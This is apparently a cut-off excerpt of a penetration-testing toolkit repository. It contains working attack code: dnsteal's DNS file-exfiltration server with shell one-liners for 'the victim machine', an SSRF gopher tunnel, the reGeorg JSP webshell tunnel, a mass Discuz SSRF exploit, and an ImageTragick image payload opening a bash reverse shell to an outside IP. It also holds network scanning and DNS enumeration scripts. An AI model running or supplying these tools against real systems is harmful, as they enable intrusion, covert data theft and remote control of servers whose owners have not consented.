data[ini+1:ini+lon+1]+'.' 35 | ini += lon+1 36 | lon=ord(data[ini]) 37 | 38 | def request(self, ip): 39 | packet='' 40 | if self.data_text: 41 | packet+=self.data[:2] + "\x81\x80" 42 | packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts 43 | packet+=self.data[12:] # Original Domain Name Question 44 | packet+='\xc0\x0c' # Pointer to domain name 45 | packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes 46 | packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP 47 | return packet 48 | 49 | def save_to_file(r_data, z, v): 50 | 51 | print "\n" 52 | 53 | for key,value in r_data.iteritems(): 54 | 55 | file_seed = time.strftime("%Y-%m-%d_%H-%M-%S") 56 | fname = "recieved_%s_%s" % (file_seed, key) 57 | flatdata = "" 58 | 59 | for block in value: 60 | flatdata += block[:-1].replace("*", "+") # fix data (remove hyphens at end, replace * with + because of dig!) 61 | 62 | # print flatdata 63 | 64 | try: 65 | f = open(fname, "wb") 66 | except: 67 | print "%s[Error]%s Opening file '%s' to save data." % (c["r"], c["e"], fname) 68 | exit(1) 69 | try: 70 | if v: 71 | print "%s[Info]%s base64 decoding data (%s)." % (c["y"], c["e"], key) 72 | flatdata = base64.b64decode(flatdata) # test if padding correct by using a try/catch 73 | except: 74 | f.close() 75 | print "%s[Error]%s Incorrect padding on base64 encoded data.." % (c["r"], c["e"]) 76 | exit(1) 77 | 78 | if (z): 79 | if v: 80 | print "%s[Info]%s Unzipping data (%s)." % (c["y"], c["e"], key) 81 | 82 | try: 83 | x = zlib.decompressobj(16+zlib.MAX_WBITS) 84 | flatdata = x.decompress(flatdata) 85 | except: 86 | print "%s[Error]%s Could not unzip data, did you specify the -z switch ?" % (c["r"], c["e"]) 87 | exit(1) 88 | 89 | print "%s[Info]%s Saving recieved bytes to './%s'" % (c["y"], c["e"], fname) 90 | f.write(flatdata) 91 | f.close() 92 | else: 93 | print "%s[Info]%s Saving bytes to './%s'" % (c["y"], c["e"], fname) 94 | f.write(flatdata) 95 | f.close() 96 | 97 | 98 | print "%s[md5sum]%s '%s'\n" % (c["g"], c["e"], hashlib.md5(open(fname, "r").read()).hexdigest()) 99 | 100 | def usage(str=""): 101 | 102 | banner() 103 | print "Usage: python %s [listen_address] [options]" % sys.argv[0] 104 | print "\nOptions:" 105 | print "\t-z\tUnzip incoming files." 106 | print "\t-v\tVerbose output." 107 | print "\t-h\tThis help menu" 108 | print 109 | print "Advanced:" 110 | print "\t-b\tBytes to send per subdomain (default = 57, max=63)" 111 | print "\t-s\tNumber of data subdomains per request (default = 4, ie. $data.$data.$data.$data.$filename)" 112 | print "\t-f\tLength reserved for filename per request (default = 17)" 113 | print 114 | print "%s$ python %s -z 127.0.0.1%s" % (c["g"], sys.argv[0], c["e"]) 115 | print 116 | print "%s-------- Do not change the parameters unless you understand! --------%s" % (c["r"], c["e"]) 117 | print 118 | print "The query length cannot exceed 253 bytes. This is including the filename." 119 | print "The subdomains lengths cannot exceed 63 bytes." 120 | print 121 | print "Advanced: " 122 | print "\t%s 127.0.0.1 -z -s 4 -b 57 -f 17\t4 subdomains, 57 bytes => (57 * 4 = 232 bytes) + (4 * '.' = 236). Filename => 17 byte(s)" % sys.argv[0] 123 | print "\t%s 127.0.0.1 -z -s 4 -b 55 -f 29\t4 subdomains, 55 bytes => (55 * 4 = 220 bytes) + (4 * '.' = 224). Filename => 29 byte(s)" % sys.argv[0] 124 | print "\t%s 127.0.0.1 -z -s 4 -b 63 -f 1\t4 subdomains, 63 bytes => (62 * 4 = 248 bytes) + (4 * '.' = 252). Filename => 1 byte(s)" % sys.argv[0] 125 | print 126 | print str 127 | 128 | def p_cmds(s,b,ip,z): 129 | 130 | print "%s[+]%s On the victim machine, use any of the following commands:" % (c["g"], c["e"]) 131 | print "%s[+]%s Remember to set %sfilename%s for individual file transfer." % (c["g"], c["e"], c["y"], c["e"]) 132 | print 133 | 134 | if (z): 135 | print "%s[?]%s Copy individual file (ZIP enabled)" % (c["y"], c["e"]) 136 | print """\t%s\x23%s %sf=file.txt%s; s=%s;b=%s;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done """ % (c["r"], c["e"], c["y"], c["e"], s, b, ip ) 137 | print 138 | print "%s[?]%s Copy entire folder (ZIP enabled)" % (c["y"], c["e"]) 139 | print """\t%s\x23%s for f in $(ls .); do s=%s;b=%s;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done ; done""" % (c["r"], c["e"], s, b, ip ) 140 | print 141 | else: 142 | print "%s[?]%s Copy individual file" % (c["y"], c["e"]) 143 | print """\t%s\x23%s %sf=file.txt%s; s=%s;b=%s;c=0; for r in $(for i in $(base64 -w0 $f| sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done """ % (c["r"], c["e"], c["y"], c["e"], s, b, ip ) 144 | print 145 | print "%s[?]%s Copy entire folder" % (c["y"], c["e"]) 146 | print """\t%s\x23%s for f in $(ls .); do s=%s;b=%s;c=0; for r in $(for i in $(base64 -w0 $f | sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done ; done""" % (c["r"], c["e"], s, b, ip ) 147 | print 148 | 149 | 150 | def banner(): 151 | 152 | print "\033[1;32m", 153 | print """ 154 | ___ _ _ ___ _ _ 155 | | \| \| / __| |_ ___ __ _| | 156 | | |) | .` \__ \ _/ -_) _` | | 157 | |___/|_|\_|___/\__\___\__,_|_|v%s 158 | -- https://github.com/m57/dnsteal.git --\033[0m 159 | Stealthy file extraction via DNS requests 160 | """ % VERSION 161 | 162 | if __name__ == '__main__': 163 | ########################### 164 | 165 | z = False 166 | s = 4 167 | b = 57 168 | flen = 17 169 | v = False 170 | regx_ip = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"; 171 | 172 | if "-h" in sys.argv or len(sys.argv) < 2: 173 | usage() 174 | exit(1) 175 | 176 | ip = sys.argv[1] 177 | 178 | if re.match(regx_ip, ip) == None: 179 | usage("%s[Error]%s First argument must be listen address." % (c["r"], c["e"])) 180 | exit(1) 181 | 182 | if "-z" in sys.argv: 183 | z = True 184 | if "-s" in sys.argv: 185 | s = int(sys.argv[sys.argv.index("-s")+1]) 186 | if "-b" in sys.argv: 187 | b = int(sys.argv[sys.argv.index("-b")+1]) 188 | if "-f" in sys.argv: 189 | flen = int(sys.argv[sys.argv.index("-f")+1]) 190 | if "-v" in sys.argv: 191 | v = True 192 | 193 | if ( (b > 63) or ((b * s) > 253) or (((b * s) + flen) > 253)): 194 | usage("%s[Error]%s Entire query cannot be > 253. Read help (-h)" % (c["r"], c["e"])) 195 | 196 | ############################################################################################ 197 | banner() 198 | 199 | udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 200 | 201 | try: 202 | udp.bind((ip,53)) 203 | except: 204 | print "%s[Error]%s Cannot bind to address %s:53" % (c["r"], c["e"], ip) 205 | exit(1) 206 | 207 | print "%s[+]%s DNS listening on '%s:53'" % (c["g"], c["e"], ip) 208 | p_cmds(s,b,ip,z) 209 | print "%s[+]%s Once files have sent, use Ctrl+C to exit and save.\n" % (c["g"], c["e"]) 210 | 211 | try: 212 | r_data = {} 213 | while 1: 214 | # There is a bottle neck in this function, if very slow PC, will take 215 | # slightly longer to send as this main loop recieves the data from victim. 216 | 217 | data, addr = udp.recvfrom(1024) 218 | p=DNSQuery(data) 219 | udp.sendto(p.request(ip), addr) 220 | 221 | req_split = p.data_text.split(".") 222 | req_split.pop() # fix trailing dot... cba to fix this 223 | 224 | dlen = len(req_split) 225 | fname = "" 226 | tmp_data = [] 227 | 228 | for n in range(0,dlen): 229 | if req_split[n][len(req_split[n])-1] == "-": 230 | tmp_data.append(req_split[n]) 231 | else: 232 | # Filename 233 | fname += req_split[n] + "." 234 | 235 | fname = fname[:-1] 236 | 237 | if fname not in r_data: 238 | r_data[fname] = [] 239 | 240 | print "%s[>]%s len: '%d bytes'\t- %s" % (c["y"], c["e"], len(p.data_text), fname) 241 | if v: 242 | print '%s[>>]%s %s -> %s:53' % (c["b"], c["e"], p.data_text, ip) 243 | 244 | for d in tmp_data: 245 | r_data[fname].append(d) 246 | 247 | # print r_data 248 | 249 | except KeyboardInterrupt: 250 | # exit(1) 251 | save_to_file(r_data, z, v) 252 | print '\n\033[1;31m[!]\033[0m Closing...' 253 | udp.close() 254 | -------------------------------------------------------------------------------- /forward/s5.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename s5.py 3 | # Python Dynamic Socks5 Proxy 4 | # Usage: python s5.py 1080 5 | # Backgroup Run: nohup python s5.py 1080 & 6 | # Email: ringzero@557.im 7 | 8 | import socket, sys, select, SocketServer, struct, time 9 | 10 | class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass 11 | class Socks5Server(SocketServer.StreamRequestHandler): 12 | def handle_tcp(self, sock, remote): 13 | fdset = [sock, remote] 14 | while True: 15 | r, w, e = select.select(fdset, [], []) 16 | if sock in r: 17 | if remote.send(sock.recv(4096)) <= 0: break 18 | if remote in r: 19 | if sock.send(remote.recv(4096)) <= 0: break 20 | def handle(self): 21 | try: 22 | pass # print 'from ', self.client_address nothing to do. 23 | sock = self.connection 24 | # 1. Version 25 | sock.recv(262) 26 | sock.send("\x05\x00"); 27 | # 2. Request 28 | data = self.rfile.read(4) 29 | mode = ord(data[1]) 30 | addrtype = ord(data[3]) 31 | if addrtype == 1: # IPv4 32 | addr = socket.inet_ntoa(self.rfile.read(4)) 33 | elif addrtype == 3: # Domain name 34 | addr = self.rfile.read(ord(sock.recv(1)[0])) 35 | port = struct.unpack('>H', self.rfile.read(2)) 36 | reply = "\x05\x00\x00\x01" 37 | try: 38 | if mode == 1: # 1. Tcp connect 39 | remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | remote.connect((addr, port[0])) 41 | pass # print 'To', addr, port[0] nothing do to. 42 | else: 43 | reply = "\x05\x07\x00\x01" # Command not supported 44 | local = remote.getsockname() 45 | reply += socket.inet_aton(local[0]) + struct.pack(">H", local[1]) 46 | except socket.error: 47 | # Connection refused 48 | reply = '\x05\x05\x00\x01\x00\x00\x00\x00\x00\x00' 49 | sock.send(reply) 50 | # 3. Transfering 51 | if reply[1] == '\x00': # Success 52 | if mode == 1: # 1. Tcp connect 53 | self.handle_tcp(sock, remote) 54 | except socket.error: 55 | pass #print 'error' nothing to do . 56 | except IndexError: 57 | pass 58 | def main(): 59 | filename = sys.argv[0]; 60 | if len(sys.argv)<2: 61 | print 'usage: ' + filename + ' port' 62 | sys.exit() 63 | socks_port = int(sys.argv[1]); 64 | server = ThreadingTCPServer(('', socks_port), Socks5Server) 65 | print 'bind port: %d' % socks_port + ' ok!' 66 | server.serve_forever() 67 | if __name__ == '__main__': 68 | main() 69 | -------------------------------------------------------------------------------- /forward/ssrfsocks.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | import socket 5 | import thread 6 | import binascii 7 | import struct 8 | import urllib 9 | import urllib2 10 | HOST = 'localhost' 11 | PORT = 65432 12 | BUFSIZ = 4096 13 | TIMEOUT = 5 14 | SOCKS = True 15 | CONNECT = "gopher%3A//" 16 | 17 | def decodesocks(req): 18 | if req[0] != '\x04': 19 | raise Exception('bad version number') 20 | if req[1] != '\x01': 21 | raise Exception('only tcp stream supported') 22 | port = req[2:4] 23 | host = req[4:8] 24 | if host[0] == '\x00' and host[1] == '\x00' and host[2] == '\x00' and host[3] != '\x00': 25 | byname = True 26 | else: 27 | byname = False 28 | userid = "" 29 | i = 8 30 | while req[i] != '\x00': 31 | userid += req[i] 32 | extra = "" 33 | if byname: 34 | while req[i] != '\x00': 35 | extra += req[i] 36 | return host, port, extra 37 | 38 | def child(sock,addr,base): 39 | try: 40 | if SOCKS: 41 | req = sock.recv(BUFSIZ) 42 | host, port, extra = decodesocks(req) 43 | if extra == "": 44 | dest = socket.inet_ntoa(host) 45 | else: 46 | dest = extra 47 | destport, = struct.unpack("!H", port) 48 | sock.send("\x00\x5a"+port+host) 49 | data = sock.recv(BUFSIZ) 50 | #print "sending:", data 51 | encodeddata = urllib.quote(data) 52 | url = base+CONNECT+dest+":"+str(destport)+"/A"+encodeddata 53 | #print "connecting to ", url 54 | ret = urllib2.urlopen(url,timeout=TIMEOUT) 55 | retdata = ret.read() 56 | #print "received:", retdata 57 | if len(retdata) > 0: 58 | sock.send(retdata) 59 | sock.close() 60 | except Exception as e: 61 | print e 62 | sock.close() 63 | 64 | if __name__=='__main__': 65 | if len(sys.argv) != 2: 66 | sys.exit('Usage: %s BASEURL\nExample: %s "http://victim.com/xxe.php?uri="' % sys.argv[0], sys.argv[0]) 67 | base = sys.argv[1] 68 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 69 | server.bind((HOST, PORT)) 70 | server.listen(2) 71 | print 'listener ready on port', PORT 72 | try: 73 | while 1: 74 | client, addr = server.accept() 75 | #print 'connection from:', addr 76 | thread.start_new_thread(child, (client,addr,base)) 77 | except KeyboardInterrupt: 78 | server.close() 79 | -------------------------------------------------------------------------------- /forward/tunnel.jsp: -------------------------------------------------------------------------------- 1 | <%/* 2 | _____ 3 | _____ ______ __|___ |__ ______ _____ _____ ______ 4 | | | | ___|| ___| || ___|/ \| | | ___| 5 | | \ | ___|| | | || ___|| || \ | | | 6 | |__|\__\|______||______| __||______|\_____/|__|\__\|______| 7 | |_____| 8 | ... every office needs a tool like Georg 9 | 10 | willem@sensepost.com / @_w_m__ 11 | sam@sensepost.com / @trowalts 12 | etienne@sensepost.com / @kamp_staaldraad 13 | 14 | Legal Disclaimer 15 | Usage of reGeorg for attacking networks without consent 16 | can be considered as illegal activity. The authors of 17 | reGeorg assume no liability or responsibility for any 18 | misuse or damage caused by this program. 19 | 20 | If you find reGeorge on one of your servers you should 21 | consider the server compromised and likely further compromise 22 | to exist within your internal network. 23 | 24 | For more information, see: 25 | https://github.com/sensepost/reGeorg 26 | 27 | */%><%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress, java.nio.channels.SocketChannel, java.util.Arrays, java.io.IOException, java.net.UnknownHostException, java.net.Socket" trimDirectiveWhitespaces="true"%><% 28 | String cmd = request.getHeader("X-CMD"); 29 | if (cmd != null) { 30 | response.setHeader("X-STATUS", "OK"); 31 | if (cmd.compareTo("CONNECT") == 0) { 32 | try { 33 | String target = request.getHeader("X-TARGET"); 34 | int port = Integer.parseInt(request.getHeader("X-PORT")); 35 | SocketChannel socketChannel = SocketChannel.open(); 36 | socketChannel.connect(new InetSocketAddress(target, port)); 37 | socketChannel.configureBlocking(false); 38 | session.setAttribute("socket", socketChannel); 39 | response.setHeader("X-STATUS", "OK"); 40 | } catch (UnknownHostException e) { 41 | System.out.println(e.getMessage()); 42 | response.setHeader("X-ERROR", e.getMessage()); 43 | response.setHeader("X-STATUS", "FAIL"); 44 | } catch (IOException e) { 45 | System.out.println(e.getMessage()); 46 | response.setHeader("X-ERROR", e.getMessage()); 47 | response.setHeader("X-STATUS", "FAIL"); 48 | 49 | } 50 | } else if (cmd.compareTo("DISCONNECT") == 0) { 51 | SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); 52 | try{ 53 | socketChannel.socket().close(); 54 | } catch (Exception ex) { 55 | System.out.println(ex.getMessage()); 56 | } 57 | session.invalidate(); 58 | } else if (cmd.compareTo("READ") == 0){ 59 | SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); 60 | try { 61 | ByteBuffer buf = ByteBuffer.allocate(512); 62 | int bytesRead = socketChannel.read(buf); 63 | ServletOutputStream so = response.getOutputStream(); 64 | while (bytesRead > 0){ 65 | so.write(buf.array(),0,bytesRead); 66 | so.flush(); 67 | buf.clear(); 68 | bytesRead = socketChannel.read(buf); 69 | } 70 | response.setHeader("X-STATUS", "OK"); 71 | so.flush(); 72 | so.close(); 73 | 74 | } catch (Exception e) { 75 | System.out.println(e.getMessage()); 76 | response.setHeader("X-ERROR", e.getMessage()); 77 | response.setHeader("X-STATUS", "FAIL"); 78 | //socketChannel.socket().close(); 79 | } 80 | 81 | } else if (cmd.compareTo("FORWARD") == 0){ 82 | SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); 83 | try { 84 | 85 | int readlen = request.getContentLength(); 86 | byte[] buff = new byte[readlen]; 87 | 88 | request.getInputStream().read(buff, 0, readlen); 89 | ByteBuffer buf = ByteBuffer.allocate(readlen); 90 | buf.clear(); 91 | buf.put(buff); 92 | buf.flip(); 93 | 94 | while(buf.hasRemaining()) { 95 | socketChannel.write(buf); 96 | } 97 | response.setHeader("X-STATUS", "OK"); 98 | //response.getOutputStream().close(); 99 | 100 | } catch (Exception e) { 101 | System.out.println(e.getMessage()); 102 | response.setHeader("X-ERROR", e.getMessage()); 103 | response.setHeader("X-STATUS", "FAIL"); 104 | socketChannel.socket().close(); 105 | } 106 | } 107 | } else { 108 | //PrintWriter o = response.getWriter(); 109 | out.print("Georg says, 'All seems fine'"); 110 | } 111 | %> 112 | -------------------------------------------------------------------------------- /gethttpBanner.py: -------------------------------------------------------------------------------- 1 | #encoding: utf-8 2 | #!/usr/bin/env python 3 | # -*- coding: utf-8 -*- 4 | 5 | 6 | # @Author: IcySun 7 | 8 | 9 | #C段 httpBanner 10 | 11 | 12 | 13 | import requests 14 | from Queue import Queue 15 | import threading 16 | 17 | checkIP = raw_input('Input IP:\n') 18 | 19 | port = ('80','8080') 20 | def checkBanner(url): 21 | try: 22 | Con = requests.get(url,timeout=2) 23 | Server = Con.headers 24 | print url,Server['server'] 25 | with open('banner.txt','a+') as ban: 26 | ban.write(url+' '+Server['server']+'\n') 27 | except Exception, e: 28 | pass 29 | 30 | class MyThread(threading.Thread): 31 | def __init__(self): 32 | threading.Thread.__init__(self) 33 | def run(self): 34 | global queue 35 | while not queue.empty(): 36 | url = queue.get() 37 | checkBanner(url) 38 | 39 | def main(): 40 | global queue 41 | queue = Queue() 42 | for x in xrange(1,255): 43 | for p in port: 44 | ip = 'http://' + checkIP + '.' + str(x) 45 | print ip 46 | url = ip + ':' + p 47 | queue.put(url) 48 | 49 | for i in range(5): 50 | c = MyThread() 51 | c.start() 52 | 53 | if __name__ == '__main__': 54 | main() 55 | -------------------------------------------------------------------------------- /google.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | __author__ = 'DM_' 3 | import simplejson,random 4 | import requests as req 5 | 6 | page = 1 7 | status = 200 8 | dock = str(raw_input('请输入google关键字:')) #这里是google关键词. 9 | while status == 200: 10 | headers = { 11 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 12 | 'Accept-Charset': 'gb18030,utf-8;q=0.7,*;q=0.3', 13 | 'Accept-Encoding': 'gzip,deflate,sdch', 14 | 'Accept-Language': 'en-US,en;q=0.8', 15 | 'Connection': 'keep-alive', 16 | 'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4', 17 | 'Referer': 'http://www.baidu.com/' 18 | } 19 | 20 | url = "https://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=%s&rsz=8&start=%s"%(dock,page) 21 | try: 22 | HtmlContent = req.get(url, timeout=30, headers=headers).text 23 | result = simplejson.loads(HtmlContent) 24 | status = result['responseStatus'] 25 | 26 | print "第%d页的数据:" % page 27 | try: 28 | Urls = result['responseData']['results'] 29 | for url in Urls: 30 | print url['url'] 31 | except: 32 | print '当前页面获取失败.' 33 | print result['responseDetails'] 34 | page += 1 35 | except: 36 | print "Time Out or site is not open." 37 | print "一共有%d页的数据" % (page-2) 38 | -------------------------------------------------------------------------------- /im/poc.png: -------------------------------------------------------------------------------- 1 | push graphic-context 2 | viewbox 0 0 640 480 3 | image copy 200,200 100,100 "|bash -i >& /dev/tcp/120.24.234.44/53 0>&1" 4 | pop graphic-context 5 | -------------------------------------------------------------------------------- /info/cloudflare_enum.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # Created using Metafidv2 by Matthew Bryant (mandatory) 4 | # Unauthorized use is stricly prohibited, please contact mandatory@gmail.com with questions/comments. 5 | import requests 6 | import json 7 | import time 8 | import csv 9 | import sys 10 | import os 11 | from bs4 import BeautifulSoup 12 | 13 | class cloudflare_enum: 14 | def __init__( self ): 15 | # Master list of headers to be used in each connection 16 | self.global_headers = { 17 | } 18 | self.verbose = True 19 | 20 | self.s = requests.Session() 21 | self.s.headers.update( self.global_headers ) 22 | self.atok = '' 23 | 24 | def log_in( self, username, password ): 25 | parse_dict = {} 26 | 27 | r = self.s.get('https://www.cloudflare.com/', ) 28 | 29 | new_headers = { 30 | 'Referer': 'https://www.cloudflare.com/', 31 | } 32 | self.s.headers.update( dict( new_headers.items() + self.global_headers.items() ) ) 33 | r = self.s.get('https://www.cloudflare.com/a/login', ) 34 | parse_dict[ 'security_token_0' ] = self.find_between_r( r.text, '"security_token":"', '"}};</script>' ) # http://xkcd.com/292/ 35 | 36 | post_data = { 37 | 'email': username, 38 | 'password': password, 39 | 'security_token': parse_dict[ 'security_token_0' ], 40 | } 41 | new_headers = { 42 | 'Referer': 'https://www.cloudflare.com/a/login', 43 | 'Content-Type': 'application/x-www-form-urlencoded', 44 | } 45 | self.s.headers.update( dict( new_headers.items() + self.global_headers.items() ) ) 46 | r = self.s.post('https://www.cloudflare.com/a/login', data=post_data) 47 | self.atok = self.find_between_r( r.text, 'window.bootstrap = {"atok":"', '","locale":"' ) # http://xkcd.com/292/ 48 | 49 | def get_domain_dns( self, domain ): 50 | parse_dict = {} 51 | post_data = { 52 | "betas": [], 53 | "created_on": "2015-08-24T00:27:16.048Z", 54 | "development_mode": False, 55 | "jump_start": True, 56 | "meta": {}, 57 | "modified_on": 'null', 58 | "name": domain, 59 | "owner": {}, 60 | "paused": False, 61 | "status": "initializing", 62 | "type": "full" 63 | } 64 | 65 | new_headers = { 66 | 'Content-Type': 'application/json; charset=UTF-8', 67 | 'X-Requested-With': 'XMLHttpRequest', 68 | 'Referer': 'https://www.cloudflare.com/a/add-site', 69 | 'Pragma': 'no-cache', 70 | 'Cache-Control': 'no-cache', 71 | 'X-ATOK': self.atok, 72 | } 73 | self.s.headers.update( dict( new_headers.items() + self.global_headers.items() ) ) 74 | r = self.s.post('https://www.cloudflare.com/api/v4/zones', data=json.dumps( post_data )) 75 | data = json.loads( r.text ) 76 | success = data['success'] 77 | if not success: 78 | print r.text 79 | return False 80 | 81 | request_id = data['result']['id'] 82 | time.sleep( 60 ) 83 | 84 | get_data = { 85 | 'per_page': '100', 86 | 'direction': 'asc', 87 | 'page': '1', 88 | 'order': 'type', 89 | } 90 | new_headers = { 91 | 'X-Requested-With': 'XMLHttpRequest', 92 | 'Referer': 'https://www.cloudflare.com/a/setup/' + domain + '/step/2', 93 | 'X-ATOK': self.atok, 94 | } 95 | self.s.headers.update( dict( new_headers.items() + self.global_headers.items() ) ) 96 | r = self.s.get('https://www.cloudflare.com/api/v4/zones/' + request_id + '/dns_records', params=get_data) 97 | return_data = json.loads( r.text ) 98 | 99 | new_headers = { 100 | 'X-Requested-With': 'XMLHttpRequest', 101 | 'Referer': 'https://www.cloudflare.com/a/setup/' + domain + '/step/2', 102 | 'X-ATOK': self.atok, 103 | } 104 | self.s.headers.update( dict( new_headers.items() + self.global_headers.items() ) ) 105 | r = self.s.delete('https://www.cloudflare.com/api/v4/zones/' + request_id, ) 106 | 107 | get_data = { 108 | 'status': 'initializing,pending', 109 | 'per_page': '50', 110 | 'page': '1', 111 | } 112 | new_headers = { 113 | 'X-Requested-With': 'XMLHttpRequest', 114 | 'Referer': 'https://www.cloudflare.com/a/add-site', 115 | 'X-ATOK': self.atok, 116 | } 117 | self.s.headers.update( dict( new_headers.items() + self.global_headers.items() ) ) 118 | r = self.s.get('https://www.cloudflare.com/api/v4/zones', params=get_data) 119 | 120 | return return_data['result'] 121 | 122 | def get_spreadsheet( self, domain ): 123 | dns_data = self.get_domain_dns( domain ) 124 | if dns_data: 125 | filename = domain.replace( ".", "_" ) + ".csv" 126 | 127 | with open( filename, 'wb' ) as csvfile: 128 | dns_writer = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL) 129 | dns_writer.writerow( [ "name", "type", "content" ] ) 130 | for record in dns_data: 131 | dns_writer.writerow( [ record["name"], record["type"], record["content"] ] ) 132 | 133 | self.statusmsg( "Spreadsheet created at " + os.getcwd() + "/" + filename ) 134 | 135 | def print_banner( self ): 136 | if self.verbose: 137 | print """ 138 | 139 | `..--------..` 140 | .-:///::------::///:.` 141 | `-//:-.`````````````.-://:.` ` ` 142 | .://-.```````````````````.-://-` : `- . 143 | `-//:.........................-://. /. -: `:` `` 144 | `://--------:::://////:::--------://-::.::`:- .:. 145 | ``.---..` `///::::::///////////////////:::::::///::::::--:.`.-. 146 | .://::::///::///::///////////////////////////:::///:-----::--:-` ` 147 | `:/:-...--:://////////////////////////////////////////----------.--.` 148 | `:/:..-:://////////////////////////////////////////////-----------.```` 149 | .//-::////////////////////////////////////:::::////////-...--------...` 150 | -/////////////////////////////////////////////::::----:. `.-::::::-..`` 151 | ``.--:////////////////////////////////////////////////::-..```-///::::///:-` 152 | `.:///::::://////////////////////////////////////:::::::::::::::-----......-:/:. 153 | `-//:-----::::://///////////////////////////////:///////////////////:-::::---..-//:` 154 | `:/:---://+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//+++//::--//: 155 | `//:-/+oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo+++oooo+//://. 156 | :///ossssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssosssssso+//: 157 | `//+sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss+/- 158 | `//+ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo+++++/. 159 | `````````````````````````````````````````````````````````````````````````````````````` 160 | Cloudflare DNS Enumeration Tool v1.2 161 | By mandatory 162 | """ 163 | 164 | 165 | def pprint( self, input_dict ): 166 | print json.dumps(input_dict, sort_keys=True, indent=4, separators=(',', ': ')) 167 | 168 | def statusmsg( self, msg ): 169 | if self.verbose: 170 | print "[ STATUS ] " + msg 171 | 172 | def errormsg( self, msg ): 173 | if self.verbose: 174 | print "[ ERROR ] " + msg 175 | 176 | def successmsg( self, msg ): 177 | if self.verbose: 178 | print "[ SUCCESS ] " + msg 179 | 180 | def find_between_r( self, s, first, last ): 181 | try: 182 | start = s.rindex( first ) + len( first ) 183 | end = s.rindex( last, start ) 184 | return s[start:end] 185 | except ValueError: 186 | return "" 187 | 188 | def find_between( s, first, last ): 189 | try: 190 | start = s.index( first ) + len( first ) 191 | end = s.index( last, start ) 192 | return s[start:end] 193 | except ValueError: 194 | return "" 195 | 196 | def get_cookie_from_file( self, cookie_file ): 197 | return_dict = {} 198 | with open( cookie_file ) as tmp: 199 | data = tmp.readlines() 200 | tmp_data = [] 201 | for i, item in enumerate(data): 202 | if " " in data[i]: 203 | pew = data[i].split( " " ) 204 | return_dict[ pew[5] ] = pew[6] 205 | 206 | return return_dict 207 | 208 | if __name__ == "__main__": 209 | if len( sys.argv ) < 3: 210 | print "Usage: " + sys.argv[0] + " username@email.com password domain.com" 211 | else: 212 | cloud = cloudflare_enum() 213 | cloud.print_banner() 214 | cloud.log_in( sys.argv[1], sys.argv[2] ) 215 | cloud.get_spreadsheet( sys.argv[3] ) 216 | -------------------------------------------------------------------------------- /info/discuz_forum_downremoteimg_ssrf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | import urlparse 4 | import random 5 | import time 6 | import re 7 | import requests 8 | #from utils.fileutils import FileUtils 9 | import requests.packages.urllib3 10 | requests.packages.urllib3.disable_warnings() 11 | 12 | fobj = open('discuz.txt','r') 13 | for website in fobj: 14 | request = requests.session() 15 | try: 16 | forumurl = "{website}/forum.php".format(website=website) 17 | response = request.get(forumurl, timeout=5, verify=False) 18 | formhash = re.findall(r'formhash" value="(.*?)"',response.content) 19 | netloc = urlparse.urlparse(website).netloc 20 | payload = 'http://www.catssec.com/exp/exploit.php'.format(netloc=netloc) 21 | url = "{website}/forum.php?mod=ajax&action=downremoteimg&formhash={formhash}&message=[img]{payload}[/img]".format( 22 | website=website, 23 | payload=payload) 24 | response = request.get(url, timeout=5, verify=False) 25 | #print url, len(response.content) 26 | except Exception, e: 27 | print website, e 28 | -------------------------------------------------------------------------------- /info/dns.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | from dnslib import DNSRecord 4 | 5 | if __name__ == '__main__': 6 | print('DNS Server Ready') 7 | 8 | udps = 